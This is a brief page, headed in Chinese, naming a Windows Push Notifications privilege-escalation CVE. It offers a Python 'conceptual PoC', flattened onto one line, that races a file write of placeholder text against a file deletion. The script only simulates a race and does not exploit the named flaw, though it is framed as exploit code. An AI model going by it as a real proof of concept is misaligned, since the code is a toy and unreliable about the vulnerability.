CVE-2026-32159 Windows推送通知服务权限提升漏洞

import threading import os import time # Conceptual PoC for Race Condition in Windows Push Notifications # This script demonstrates the logic of a race condition attack. # Note: Actual exploitation requires specific knowledge of the vulnerable resource. TARGET_RESOURCE = "C:\\ProgramData\\WindowsPushNotifications\\Shared\\config.tmp" def malicious_thread(): """Simulate the attacker trying to replace a resource.""" while True: try: # Attempt to create or modify the resource before the service checks it with open(TARGET_RESOURCE, 'w') as f: f.write("ATTACKER_PAYLOAD") print("[+] Malicious write successful") break except Exception as e: # Retry if resource is locked or not found continue def service_trigger_thread(): """Simulate the legitimate service accessing the resource.""" time.sleep(0.05) # Small delay to simulate processing time and widen race window try: # Simulate service performing an operation that relies on the resource if os.path.exists(TARGET_RESOURCE): os.remove(TARGET_RESOURCE) except: pass if __name__ == "__main__": print(f"[*] Starting PoC for CVE-2026-32159...") print(f"[*] Target Resource: {TARGET_RESOURCE}") # Setup threads t1 = threading.Thread(target=malicious_thread) t2 = threading.Thread(target=service_trigger_thread) # Start race condition t1.start() t2.start() t1.join() t2.join() print("[*] PoC execution finished.")